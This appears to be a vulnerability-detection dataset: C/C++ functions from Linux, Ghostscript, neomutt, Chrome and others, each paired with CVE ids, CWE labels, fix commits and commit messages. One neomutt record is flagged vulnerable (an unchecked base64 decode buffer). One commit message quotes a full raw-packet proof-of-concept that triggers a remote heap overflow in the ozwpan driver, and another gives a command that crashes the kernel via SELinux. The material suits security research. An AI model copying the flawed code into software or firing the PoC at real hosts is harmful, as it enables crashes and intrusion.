int __uio_register_device(struct module *owner, struct device *parent, struct uio_info *info) { struct uio_device *idev; int ret = 0; if (!parent || !info || !info->name || !info->version) return -EINVAL; info->uio_dev = NULL; idev = kzalloc(sizeof(*idev), GFP_KERNEL); if (!idev) { ret = -ENOMEM; goto err_kzalloc; } idev->owner = owner; idev->info = info; init_waitqueue_head(&idev->wait); atomic_set(&idev->event, 0); ret = uio_get_minor(idev); if (ret) goto err_get_minor; idev->dev = device_create(&uio_class, parent, MKDEV(uio_major, idev->minor), idev, "uio%d", idev->minor); if (IS_ERR(idev->dev)) { printk(KERN_ERR "UIO: device register failed\n"); ret = PTR_ERR(idev->dev); goto err_device_create; } ret = uio_dev_add_attributes(idev); if (ret) goto err_uio_dev_add_attributes; info->uio_dev = idev; if (info->irq && (info->irq != UIO_IRQ_CUSTOM)) { ret = request_irq(info->irq, uio_interrupt, info->irq_flags, info->name, idev); if (ret) goto err_request_irq; } return 0; err_request_irq: uio_dev_del_attributes(idev); err_uio_dev_add_attributes: device_destroy(&uio_class, MKDEV(uio_major, idev->minor)); err_device_create: uio_free_minor(idev); err_get_minor: kfree(idev); err_kzalloc: return ret; }
int __uio_register_device(struct module *owner, struct device *parent, struct uio_info *info) { struct uio_device *idev; int ret = 0; if (!parent || !info || !info->name || !info->version) return -EINVAL; info->uio_dev = NULL; idev = kzalloc(sizeof(*idev), GFP_KERNEL); if (!idev) { ret = -ENOMEM; goto err_kzalloc; } idev->owner = owner; idev->info = info; init_waitqueue_head(&idev->wait); atomic_set(&idev->event, 0); ret = uio_get_minor(idev); if (ret) goto err_get_minor; idev->dev = device_create(&uio_class, parent, MKDEV(uio_major, idev->minor), idev, "uio%d", idev->minor); if (IS_ERR(idev->dev)) { printk(KERN_ERR "UIO: device register failed\n"); ret = PTR_ERR(idev->dev); goto err_device_create; } ret = uio_dev_add_attributes(idev); if (ret) goto err_uio_dev_add_attributes; info->uio_dev = idev; if (info->irq && (info->irq != UIO_IRQ_CUSTOM)) { ret = request_irq(info->irq, uio_interrupt, info->irq_flags, info->name, idev); if (ret) goto err_request_irq; } return 0; err_request_irq: uio_dev_del_attributes(idev); err_uio_dev_add_attributes: device_destroy(&uio_class, MKDEV(uio_major, idev->minor)); err_device_create: uio_free_minor(idev); err_get_minor: kfree(idev); err_kzalloc: return ret; }
C
linux
0
CVE-2018-15908
https://www.cvedetails.com/cve/CVE-2018-15908/
null
http://git.ghostscript.com/?p=ghostpdl.git;a=commit;h=0d3901189f245232f0161addf215d7268c4d05a3
0d3901189f245232f0161addf215d7268c4d05a3
null
z_check_file_permissions(gs_memory_t *mem, const char *fname, const int len, const char *permission) { i_ctx_t *i_ctx_p = get_minst_from_memory(mem)->i_ctx_p; gs_parsed_file_name_t pname; const char *permitgroup = permission[0] == 'r' ? "PermitFileReading" : "PermitFileWriting"; int code = gs_parse_file_name(&pname, fname, len, imemory); if (code < 0) return code; if (pname.iodev && i_ctx_p->LockFilePermissions && strcmp(pname.iodev->dname, "%pipe%") == 0) { code = gs_note_error(gs_error_invalidfileaccess); } else { code = check_file_permissions(i_ctx_p, pname.fname, pname.len, pname.iodev, permitgroup); } return code; }
z_check_file_permissions(gs_memory_t *mem, const char *fname, const int len, const char *permission) { i_ctx_t *i_ctx_p = get_minst_from_memory(mem)->i_ctx_p; gs_parsed_file_name_t pname; const char *permitgroup = permission[0] == 'r' ? "PermitFileReading" : "PermitFileWriting"; int code = gs_parse_file_name(&pname, fname, len, imemory); if (code < 0) return code; if (pname.iodev && i_ctx_p->LockFilePermissions && strcmp(pname.iodev->dname, "%pipe%") == 0) { code = gs_note_error(gs_error_invalidfileaccess); } else { code = check_file_permissions(i_ctx_p, pname.fname, pname.len, pname.iodev, permitgroup); } return code; }
C
ghostscript
0
CVE-2018-14359
https://www.cvedetails.com/cve/CVE-2018-14359/
CWE-119
https://github.com/neomutt/neomutt/commit/6f163e07ae68654d7ac5268cbb7565f6df79ad85
6f163e07ae68654d7ac5268cbb7565f6df79ad85
Check outbuf length in mutt_to_base64() The obuf can be overflowed in auth_cram.c, and possibly auth_gss.c. Thanks to Jeriko One for the bug report.
enum ImapAuthRes imap_auth_cram_md5(struct ImapData *idata, const char *method) { char ibuf[LONG_STRING * 2], obuf[LONG_STRING]; unsigned char hmac_response[MD5_DIGEST_LEN]; int len; int rc; if (!mutt_bit_isset(idata->capabilities, ACRAM_MD5)) return IMAP_AUTH_UNAVAIL; mutt_message(_("Authenticating (CRAM-MD5)...")); /* get auth info */ if (mutt_account_getlogin(&idata->conn->account) < 0) return IMAP_AUTH_FAILURE; if (mutt_account_getpass(&idata->conn->account) < 0) return IMAP_AUTH_FAILURE; imap_cmd_start(idata, "AUTHENTICATE CRAM-MD5"); /* From RFC2195: * The data encoded in the first ready response contains a presumptively * arbitrary string of random digits, a timestamp, and the fully-qualified * primary host name of the server. The syntax of the unencoded form must * correspond to that of an RFC822 'msg-id' [RFC822] as described in [POP3]. */ do rc = imap_cmd_step(idata); while (rc == IMAP_CMD_CONTINUE); if (rc != IMAP_CMD_RESPOND) { mutt_debug(1, "Invalid response from server: %s\n", ibuf); goto bail; } len = mutt_b64_decode(obuf, idata->buf + 2, sizeof(obuf)); if (len == -1) { mutt_debug(1, "Error decoding base64 response.\n"); goto bail; } obuf[len] = '\0'; mutt_debug(2, "CRAM challenge: %s\n", obuf); /* The client makes note of the data and then responds with a string * consisting of the user name, a space, and a 'digest'. The latter is * computed by applying the keyed MD5 algorithm from [KEYED-MD5] where the * key is a shared secret and the digested text is the timestamp (including * angle-brackets). * * Note: The user name shouldn't be quoted. Since the digest can't contain * spaces, there is no ambiguity. Some servers get this wrong, we'll work * around them when the bug report comes in. Until then, we'll remain * blissfully RFC-compliant. */ hmac_md5(idata->conn->account.pass, obuf, hmac_response); /* dubious optimisation I saw elsewhere: make the whole string in one call */ int off = snprintf(obuf, sizeof(obuf), "%s ", idata->conn->account.user); mutt_md5_toascii(hmac_response, obuf + off); mutt_debug(2, "CRAM response: %s\n", obuf); /* ibuf must be long enough to store the base64 encoding of obuf, * plus the additional debris */ mutt_b64_encode(ibuf, obuf, strlen(obuf), sizeof(ibuf) - 2); mutt_str_strcat(ibuf, sizeof(ibuf), "\r\n"); mutt_socket_send(idata->conn, ibuf); do rc = imap_cmd_step(idata); while (rc == IMAP_CMD_CONTINUE); if (rc != IMAP_CMD_OK) { mutt_debug(1, "Error receiving server response.\n"); goto bail; } if (imap_code(idata->buf)) return IMAP_AUTH_SUCCESS; bail: mutt_error(_("CRAM-MD5 authentication failed.")); return IMAP_AUTH_FAILURE; }
enum ImapAuthRes imap_auth_cram_md5(struct ImapData *idata, const char *method) { char ibuf[LONG_STRING * 2], obuf[LONG_STRING]; unsigned char hmac_response[MD5_DIGEST_LEN]; int len; int rc; if (!mutt_bit_isset(idata->capabilities, ACRAM_MD5)) return IMAP_AUTH_UNAVAIL; mutt_message(_("Authenticating (CRAM-MD5)...")); /* get auth info */ if (mutt_account_getlogin(&idata->conn->account) < 0) return IMAP_AUTH_FAILURE; if (mutt_account_getpass(&idata->conn->account) < 0) return IMAP_AUTH_FAILURE; imap_cmd_start(idata, "AUTHENTICATE CRAM-MD5"); /* From RFC2195: * The data encoded in the first ready response contains a presumptively * arbitrary string of random digits, a timestamp, and the fully-qualified * primary host name of the server. The syntax of the unencoded form must * correspond to that of an RFC822 'msg-id' [RFC822] as described in [POP3]. */ do rc = imap_cmd_step(idata); while (rc == IMAP_CMD_CONTINUE); if (rc != IMAP_CMD_RESPOND) { mutt_debug(1, "Invalid response from server: %s\n", ibuf); goto bail; } len = mutt_b64_decode(obuf, idata->buf + 2); if (len == -1) { mutt_debug(1, "Error decoding base64 response.\n"); goto bail; } obuf[len] = '\0'; mutt_debug(2, "CRAM challenge: %s\n", obuf); /* The client makes note of the data and then responds with a string * consisting of the user name, a space, and a 'digest'. The latter is * computed by applying the keyed MD5 algorithm from [KEYED-MD5] where the * key is a shared secret and the digested text is the timestamp (including * angle-brackets). * * Note: The user name shouldn't be quoted. Since the digest can't contain * spaces, there is no ambiguity. Some servers get this wrong, we'll work * around them when the bug report comes in. Until then, we'll remain * blissfully RFC-compliant. */ hmac_md5(idata->conn->account.pass, obuf, hmac_response); /* dubious optimisation I saw elsewhere: make the whole string in one call */ int off = snprintf(obuf, sizeof(obuf), "%s ", idata->conn->account.user); mutt_md5_toascii(hmac_response, obuf + off); mutt_debug(2, "CRAM response: %s\n", obuf); /* ibuf must be long enough to store the base64 encoding of obuf, * plus the additional debris */ mutt_b64_encode(ibuf, obuf, strlen(obuf), sizeof(ibuf) - 2); mutt_str_strcat(ibuf, sizeof(ibuf), "\r\n"); mutt_socket_send(idata->conn, ibuf); do rc = imap_cmd_step(idata); while (rc == IMAP_CMD_CONTINUE); if (rc != IMAP_CMD_OK) { mutt_debug(1, "Error receiving server response.\n"); goto bail; } if (imap_code(idata->buf)) return IMAP_AUTH_SUCCESS; bail: mutt_error(_("CRAM-MD5 authentication failed.")); return IMAP_AUTH_FAILURE; }
C
neomutt
1
CVE-2017-5550
https://www.cvedetails.com/cve/CVE-2017-5550/
CWE-200
https://github.com/torvalds/linux/commit/b9dc6f65bc5e232d1c05fe34b5daadc7e8bbf1fb
b9dc6f65bc5e232d1c05fe34b5daadc7e8bbf1fb
fix a fencepost error in pipe_advance() The logics in pipe_advance() used to release all buffers past the new position failed in cases when the number of buffers to release was equal to pipe->buffers. If that happened, none of them had been released, leaving pipe full. Worse, it was trivial to trigger and we end up with pipe full of uninitialized pages. IOW, it's an infoleak. Cc: [email protected] # v4.9 Reported-by: "Alan J. Wylie" <[email protected]> Tested-by: "Alan J. Wylie" <[email protected]> Signed-off-by: Al Viro <[email protected]>
void iov_iter_bvec(struct iov_iter *i, int direction, const struct bio_vec *bvec, unsigned long nr_segs, size_t count) { BUG_ON(!(direction & ITER_BVEC)); i->type = direction; i->bvec = bvec; i->nr_segs = nr_segs; i->iov_offset = 0; i->count = count; }
void iov_iter_bvec(struct iov_iter *i, int direction, const struct bio_vec *bvec, unsigned long nr_segs, size_t count) { BUG_ON(!(direction & ITER_BVEC)); i->type = direction; i->bvec = bvec; i->nr_segs = nr_segs; i->iov_offset = 0; i->count = count; }
C
linux
0
CVE-2017-8070
https://www.cvedetails.com/cve/CVE-2017-8070/
CWE-119
https://github.com/torvalds/linux/commit/2d6a0e9de03ee658a9adc3bfb2f0ca55dff1e478
2d6a0e9de03ee658a9adc3bfb2f0ca55dff1e478
catc: Use heap buffer for memory size test Allocating USB buffers on the stack is not portable, and no longer works on x86_64 (with VMAP_STACK enabled as per default). Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2") Signed-off-by: Ben Hutchings <[email protected]> Signed-off-by: David S. Miller <[email protected]>
static netdev_tx_t catc_start_xmit(struct sk_buff *skb, struct net_device *netdev) { struct catc *catc = netdev_priv(netdev); unsigned long flags; int r = 0; char *tx_buf; spin_lock_irqsave(&catc->tx_lock, flags); catc->tx_ptr = (((catc->tx_ptr - 1) >> 6) + 1) << 6; tx_buf = catc->tx_buf[catc->tx_idx] + catc->tx_ptr; if (catc->is_f5u011) *(__be16 *)tx_buf = cpu_to_be16(skb->len); else *(__le16 *)tx_buf = cpu_to_le16(skb->len); skb_copy_from_linear_data(skb, tx_buf + 2, skb->len); catc->tx_ptr += skb->len + 2; if (!test_and_set_bit(TX_RUNNING, &catc->flags)) { r = catc_tx_run(catc); if (r < 0) clear_bit(TX_RUNNING, &catc->flags); } if ((catc->is_f5u011 && catc->tx_ptr) || (catc->tx_ptr >= ((TX_MAX_BURST - 1) * (PKT_SZ + 2)))) netif_stop_queue(netdev); spin_unlock_irqrestore(&catc->tx_lock, flags); if (r >= 0) { catc->netdev->stats.tx_bytes += skb->len; catc->netdev->stats.tx_packets++; } dev_kfree_skb(skb); return NETDEV_TX_OK; }
static netdev_tx_t catc_start_xmit(struct sk_buff *skb, struct net_device *netdev) { struct catc *catc = netdev_priv(netdev); unsigned long flags; int r = 0; char *tx_buf; spin_lock_irqsave(&catc->tx_lock, flags); catc->tx_ptr = (((catc->tx_ptr - 1) >> 6) + 1) << 6; tx_buf = catc->tx_buf[catc->tx_idx] + catc->tx_ptr; if (catc->is_f5u011) *(__be16 *)tx_buf = cpu_to_be16(skb->len); else *(__le16 *)tx_buf = cpu_to_le16(skb->len); skb_copy_from_linear_data(skb, tx_buf + 2, skb->len); catc->tx_ptr += skb->len + 2; if (!test_and_set_bit(TX_RUNNING, &catc->flags)) { r = catc_tx_run(catc); if (r < 0) clear_bit(TX_RUNNING, &catc->flags); } if ((catc->is_f5u011 && catc->tx_ptr) || (catc->tx_ptr >= ((TX_MAX_BURST - 1) * (PKT_SZ + 2)))) netif_stop_queue(netdev); spin_unlock_irqrestore(&catc->tx_lock, flags); if (r >= 0) { catc->netdev->stats.tx_bytes += skb->len; catc->netdev->stats.tx_packets++; } dev_kfree_skb(skb); return NETDEV_TX_OK; }
C
linux
0
CVE-2012-2875
https://www.cvedetails.com/cve/CVE-2012-2875/
null
https://github.com/chromium/chromium/commit/1266ba494530a267ec8a21442ea1b5cae94da4fb
1266ba494530a267ec8a21442ea1b5cae94da4fb
Introduce XGetImage() for GrabWindowSnapshot() in ChromeOS. BUG=119492 TEST=manually done Review URL: https://chromiumcodereview.appspot.com/10386124 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@137556 0039d316-1c4b-4281-b951-d872f2087c98
RootWindow::~RootWindow() { if (compositor_lock_) { draw_on_compositor_unlock_ = false; compositor_lock_->CancelLock(); DCHECK(!compositor_lock_); } compositor_->RemoveObserver(this); compositor_.reset(); host_.reset(NULL); layer()->GetAnimator()->RemoveObserver(this); }
RootWindow::~RootWindow() { if (compositor_lock_) { draw_on_compositor_unlock_ = false; compositor_lock_->CancelLock(); DCHECK(!compositor_lock_); } compositor_->RemoveObserver(this); compositor_.reset(); host_.reset(NULL); layer()->GetAnimator()->RemoveObserver(this); }
C
Chrome
0
CVE-2018-17294
https://www.cvedetails.com/cve/CVE-2018-17294/
CWE-125
https://github.com/liblouis/liblouis/commit/5e4089659bb49b3095fa541fa6387b4c40d7396e
5e4089659bb49b3095fa541fa6387b4c40d7396e
Fix a buffer overflow Fixes #635 Thanks to HongxuChen for reporting it
checkAttr(const widechar c, const TranslationTableCharacterAttributes a, int m, const TranslationTableHeader *table) { static widechar prevc = 0; static TranslationTableCharacterAttributes preva = 0; if (c != prevc) { preva = (findCharOrDots(c, m, table))->attributes; prevc = c; } return ((preva & a) ? 1 : 0); }
checkAttr(const widechar c, const TranslationTableCharacterAttributes a, int m, const TranslationTableHeader *table) { static widechar prevc = 0; static TranslationTableCharacterAttributes preva = 0; if (c != prevc) { preva = (findCharOrDots(c, m, table))->attributes; prevc = c; } return ((preva & a) ? 1 : 0); }
C
liblouis
0
CVE-2014-1874
https://www.cvedetails.com/cve/CVE-2014-1874/
CWE-20
https://github.com/torvalds/linux/commit/2172fa709ab32ca60e86179dc67d0857be8e2c98
2172fa709ab32ca60e86179dc67d0857be8e2c98
SELinux: Fix kernel BUG on empty security contexts. Setting an empty security context (length=0) on a file will lead to incorrectly dereferencing the type and other fields of the security context structure, yielding a kernel BUG. As a zero-length security context is never valid, just reject all such security contexts whether coming from userspace via setxattr or coming from the filesystem upon a getxattr request by SELinux. Setting a security context value (empty or otherwise) unknown to SELinux in the first place is only possible for a root process (CAP_MAC_ADMIN), and, if running SELinux in enforcing mode, only if the corresponding SELinux mac_admin permission is also granted to the domain by policy. In Fedora policies, this is only allowed for specific domains such as livecd for setting down security contexts that are not defined in the build host policy. Reproducer: su setenforce 0 touch foo setfattr -n security.selinux foo Caveat: Relabeling or removing foo after doing the above may not be possible without booting with SELinux disabled. Any subsequent access to foo after doing the above will also trigger the BUG. BUG output from Matthew Thode: [ 473.893141] ------------[ cut here ]------------ [ 473.962110] kernel BUG at security/selinux/ss/services.c:654! [ 473.995314] invalid opcode: 0000 [#6] SMP [ 474.027196] Modules linked in: [ 474.058118] CPU: 0 PID: 8138 Comm: ls Tainted: G D I 3.13.0-grsec #1 [ 474.116637] Hardware name: Supermicro X8ST3/X8ST3, BIOS 2.0 07/29/10 [ 474.149768] task: ffff8805f50cd010 ti: ffff8805f50cd488 task.ti: ffff8805f50cd488 [ 474.183707] RIP: 0010:[<ffffffff814681c7>] [<ffffffff814681c7>] context_struct_compute_av+0xce/0x308 [ 474.219954] RSP: 0018:ffff8805c0ac3c38 EFLAGS: 00010246 [ 474.252253] RAX: 0000000000000000 RBX: ffff8805c0ac3d94 RCX: 0000000000000100 [ 474.287018] RDX: ffff8805e8aac000 RSI: 00000000ffffffff RDI: ffff8805e8aaa000 [ 474.321199] RBP: ffff8805c0ac3cb8 R08: 0000000000000010 R09: 0000000000000006 [ 474.357446] R10: 0000000000000000 R11: ffff8805c567a000 R12: 0000000000000006 [ 474.419191] R13: ffff8805c2b74e88 R14: 00000000000001da R15: 0000000000000000 [ 474.453816] FS: 00007f2e75220800(0000) GS:ffff88061fc00000(0000) knlGS:0000000000000000 [ 474.489254] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 474.522215] CR2: 00007f2e74716090 CR3: 00000005c085e000 CR4: 00000000000207f0 [ 474.556058] Stack: [ 474.584325] ffff8805c0ac3c98 ffffffff811b549b ffff8805c0ac3c98 ffff8805f1190a40 [ 474.618913] ffff8805a6202f08 ffff8805c2b74e88 00068800d0464990 ffff8805e8aac860 [ 474.653955] ffff8805c0ac3cb8 000700068113833a ffff880606c75060 ffff8805c0ac3d94 [ 474.690461] Call Trace: [ 474.723779] [<ffffffff811b549b>] ? lookup_fast+0x1cd/0x22a [ 474.778049] [<ffffffff81468824>] security_compute_av+0xf4/0x20b [ 474.811398] [<ffffffff8196f419>] avc_compute_av+0x2a/0x179 [ 474.843813] [<ffffffff8145727b>] avc_has_perm+0x45/0xf4 [ 474.875694] [<ffffffff81457d0e>] inode_has_perm+0x2a/0x31 [ 474.907370] [<ffffffff81457e76>] selinux_inode_getattr+0x3c/0x3e [ 474.938726] [<ffffffff81455cf6>] security_inode_getattr+0x1b/0x22 [ 474.970036] [<ffffffff811b057d>] vfs_getattr+0x19/0x2d [ 475.000618] [<ffffffff811b05e5>] vfs_fstatat+0x54/0x91 [ 475.030402] [<ffffffff811b063b>] vfs_lstat+0x19/0x1b [ 475.061097] [<ffffffff811b077e>] SyS_newlstat+0x15/0x30 [ 475.094595] [<ffffffff8113c5c1>] ? __audit_syscall_entry+0xa1/0xc3 [ 475.148405] [<ffffffff8197791e>] system_call_fastpath+0x16/0x1b [ 475.179201] Code: 00 48 85 c0 48 89 45 b8 75 02 0f 0b 48 8b 45 a0 48 8b 3d 45 d0 b6 00 8b 40 08 89 c6 ff ce e8 d1 b0 06 00 48 85 c0 49 89 c7 75 02 <0f> 0b 48 8b 45 b8 4c 8b 28 eb 1e 49 8d 7d 08 be 80 01 00 00 e8 [ 475.255884] RIP [<ffffffff814681c7>] context_struct_compute_av+0xce/0x308 [ 475.296120] RSP <ffff8805c0ac3c38> [ 475.328734] ---[ end trace f076482e9d754adc ]--- Reported-by: Matthew Thode <[email protected]> Signed-off-by: Stephen Smalley <[email protected]> Cc: [email protected] Signed-off-by: Paul Moore <[email protected]>
static int get_permissions_callback(void *k, void *d, void *args) { struct perm_datum *datum = d; char *name = k, **perms = args; int value = datum->value - 1; perms[value] = kstrdup(name, GFP_ATOMIC); if (!perms[value]) return -ENOMEM; return 0; }
static int get_permissions_callback(void *k, void *d, void *args) { struct perm_datum *datum = d; char *name = k, **perms = args; int value = datum->value - 1; perms[value] = kstrdup(name, GFP_ATOMIC); if (!perms[value]) return -ENOMEM; return 0; }
C
linux
0
CVE-2016-3745
https://www.cvedetails.com/cve/CVE-2016-3745/
CWE-119
https://android.googlesource.com/platform/hardware/qcom/audio/+/073a80800f341325932c66818ce4302b312909a4
073a80800f341325932c66818ce4302b312909a4
DO NOT MERGE Fix AudioEffect reply overflow Bug: 28173666 Change-Id: I055af37a721b20c5da0f1ec4b02f630dcd5aee02
static uint32_t uuid_to_id(const effect_uuid_t * uuid) { size_t i; for (i = 0; i < NUM_ID; i++) if (memcmp(uuid, uuid_to_id_table[i], sizeof(*uuid)) == 0) break; return i; }
static uint32_t uuid_to_id(const effect_uuid_t * uuid) { size_t i; for (i = 0; i < NUM_ID; i++) if (memcmp(uuid, uuid_to_id_table[i], sizeof(*uuid)) == 0) break; return i; }
C
Android
0
CVE-2015-4001
https://www.cvedetails.com/cve/CVE-2015-4001/
CWE-189
https://github.com/torvalds/linux/commit/b1bb5b49373b61bf9d2c73a4d30058ba6f069e4c
b1bb5b49373b61bf9d2c73a4d30058ba6f069e4c
ozwpan: Use unsigned ints to prevent heap overflow Using signed integers, the subtraction between required_size and offset could wind up being negative, resulting in a memcpy into a heap buffer with a negative length, resulting in huge amounts of network-supplied data being copied into the heap, which could potentially lead to remote code execution.. This is remotely triggerable with a magic packet. A PoC which obtains DoS follows below. It requires the ozprotocol.h file from this module. =-=-=-=-=-= #include <arpa/inet.h> #include <linux/if_packet.h> #include <net/if.h> #include <netinet/ether.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <endian.h> #include <sys/ioctl.h> #include <sys/socket.h> #define u8 uint8_t #define u16 uint16_t #define u32 uint32_t #define __packed __attribute__((__packed__)) #include "ozprotocol.h" static int hex2num(char c) { if (c >= '0' && c <= '9') return c - '0'; if (c >= 'a' && c <= 'f') return c - 'a' + 10; if (c >= 'A' && c <= 'F') return c - 'A' + 10; return -1; } static int hwaddr_aton(const char *txt, uint8_t *addr) { int i; for (i = 0; i < 6; i++) { int a, b; a = hex2num(*txt++); if (a < 0) return -1; b = hex2num(*txt++); if (b < 0) return -1; *addr++ = (a << 4) | b; if (i < 5 && *txt++ != ':') return -1; } return 0; } int main(int argc, char *argv[]) { if (argc < 3) { fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]); return 1; } uint8_t dest_mac[6]; if (hwaddr_aton(argv[2], dest_mac)) { fprintf(stderr, "Invalid mac address.\n"); return 1; } int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW); if (sockfd < 0) { perror("socket"); return 1; } struct ifreq if_idx; int interface_index; strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1); if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) { perror("SIOCGIFINDEX"); return 1; } interface_index = if_idx.ifr_ifindex; if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) { perror("SIOCGIFHWADDR"); return 1; } uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data; struct { struct ether_header ether_header; struct oz_hdr oz_hdr; struct oz_elt oz_elt; struct oz_elt_connect_req oz_elt_connect_req; } __packed connect_packet = { .ether_header = { .ether_type = htons(OZ_ETHERTYPE), .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }, .oz_hdr = { .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), .last_pkt_num = 0, .pkt_num = htole32(0) }, .oz_elt = { .type = OZ_ELT_CONNECT_REQ, .length = sizeof(struct oz_elt_connect_req) }, .oz_elt_connect_req = { .mode = 0, .resv1 = {0}, .pd_info = 0, .session_id = 0, .presleep = 35, .ms_isoc_latency = 0, .host_vendor = 0, .keep_alive = 0, .apps = htole16((1 << OZ_APPID_USB) | 0x1), .max_len_div16 = 0, .ms_per_isoc = 0, .up_audio_buf = 0, .ms_per_elt = 0 } }; struct { struct ether_header ether_header; struct oz_hdr oz_hdr; struct oz_elt oz_elt; struct oz_get_desc_rsp oz_get_desc_rsp; } __packed pwn_packet = { .ether_header = { .ether_type = htons(OZ_ETHERTYPE), .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }, .oz_hdr = { .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), .last_pkt_num = 0, .pkt_num = htole32(1) }, .oz_elt = { .type = OZ_ELT_APP_DATA, .length = sizeof(struct oz_get_desc_rsp) }, .oz_get_desc_rsp = { .app_id = OZ_APPID_USB, .elt_seq_num = 0, .type = OZ_GET_DESC_RSP, .req_id = 0, .offset = htole16(2), .total_size = htole16(1), .rcode = 0, .data = {0} } }; struct sockaddr_ll socket_address = { .sll_ifindex = interface_index, .sll_halen = ETH_ALEN, .sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }; if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) { perror("sendto"); return 1; } usleep(300000); if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) { perror("sendto"); return 1; } return 0; } Signed-off-by: Jason A. Donenfeld <[email protected]> Acked-by: Dan Carpenter <[email protected]> Cc: stable <[email protected]> Signed-off-by: Greg Kroah-Hartman <[email protected]>
static void oz_complete_urb(struct usb_hcd *hcd, struct urb *urb, int status) { struct oz_hcd *ozhcd = oz_hcd_private(hcd); unsigned long irq_state; struct oz_urb_link *cancel_urbl; spin_lock_irqsave(&g_tasklet_lock, irq_state); usb_hcd_unlink_urb_from_ep(hcd, urb); /* Clear hcpriv which will prevent it being put in the cancel list * in the event that an attempt is made to cancel it. */ urb->hcpriv = NULL; /* Walk the cancel list in case the urb is already sitting there. * Since we process the cancel list in a tasklet rather than in * the dequeue function this could happen. */ cancel_urbl = oz_uncancel_urb(ozhcd, urb); /* Note: we release lock but do not enable local irqs. * It appears that usb_hcd_giveback_urb() expects irqs to be disabled, * or at least other host controllers disable interrupts at this point * so we do the same. We must, however, release the lock otherwise a * deadlock will occur if an urb is submitted to our driver in the urb * completion function. Because we disable interrupts it is possible * that the urb_enqueue function can be called with them disabled. */ spin_unlock(&g_tasklet_lock); if (oz_forget_urb(urb)) { oz_dbg(ON, "ERROR Unknown URB %p\n", urb); } else { atomic_dec(&g_pending_urbs); usb_hcd_giveback_urb(hcd, urb, status); } spin_lock(&g_tasklet_lock); spin_unlock_irqrestore(&g_tasklet_lock, irq_state); oz_free_urb_link(cancel_urbl); }
static void oz_complete_urb(struct usb_hcd *hcd, struct urb *urb, int status) { struct oz_hcd *ozhcd = oz_hcd_private(hcd); unsigned long irq_state; struct oz_urb_link *cancel_urbl; spin_lock_irqsave(&g_tasklet_lock, irq_state); usb_hcd_unlink_urb_from_ep(hcd, urb); /* Clear hcpriv which will prevent it being put in the cancel list * in the event that an attempt is made to cancel it. */ urb->hcpriv = NULL; /* Walk the cancel list in case the urb is already sitting there. * Since we process the cancel list in a tasklet rather than in * the dequeue function this could happen. */ cancel_urbl = oz_uncancel_urb(ozhcd, urb); /* Note: we release lock but do not enable local irqs. * It appears that usb_hcd_giveback_urb() expects irqs to be disabled, * or at least other host controllers disable interrupts at this point * so we do the same. We must, however, release the lock otherwise a * deadlock will occur if an urb is submitted to our driver in the urb * completion function. Because we disable interrupts it is possible * that the urb_enqueue function can be called with them disabled. */ spin_unlock(&g_tasklet_lock); if (oz_forget_urb(urb)) { oz_dbg(ON, "ERROR Unknown URB %p\n", urb); } else { atomic_dec(&g_pending_urbs); usb_hcd_giveback_urb(hcd, urb, status); } spin_lock(&g_tasklet_lock); spin_unlock_irqrestore(&g_tasklet_lock, irq_state); oz_free_urb_link(cancel_urbl); }
C
linux
0
CVE-2016-1586
https://www.cvedetails.com/cve/CVE-2016-1586/
CWE-20
https://git.launchpad.net/oxide/commit/?id=29014da83e5fc358d6bff0f574e9ed45e61a35ac
29014da83e5fc358d6bff0f574e9ed45e61a35ac
null
void OxideQQuickWebViewPrivate::ToggleFullscreenMode(bool enter) { Q_Q(OxideQQuickWebView); emit q->fullscreenRequested(enter); }
void OxideQQuickWebViewPrivate::ToggleFullscreenMode(bool enter) { Q_Q(OxideQQuickWebView); emit q->fullscreenRequested(enter); }
CPP
launchpad
0
CVE-2011-2790
https://www.cvedetails.com/cve/CVE-2011-2790/
CWE-399
https://github.com/chromium/chromium/commit/adb3498ca0b69561d8c6b60bab641de4b0e37dbf
adb3498ca0b69561d8c6b60bab641de4b0e37dbf
Reviewed by Kevin Ollivier. [wx] Fix strokeArc and fillRoundedRect drawing, and add clipPath support. https://bugs.webkit.org/show_bug.cgi?id=60847 git-svn-id: svn://svn.chromium.org/blink/trunk@86502 bbb929c8-8fbe-4397-9dbb-9b2b20218538
void GraphicsContext::setLineDash(const DashArray&, float dashOffset) { notImplemented(); }
void GraphicsContext::setLineDash(const DashArray&, float dashOffset) { notImplemented(); }
C
Chrome
0
CVE-2011-2862
https://www.cvedetails.com/cve/CVE-2011-2862/
CWE-264
https://github.com/chromium/chromium/commit/5837ee4ab49f2a9f604f9d572df01a832cb446cc
5837ee4ab49f2a9f604f9d572df01a832cb446cc
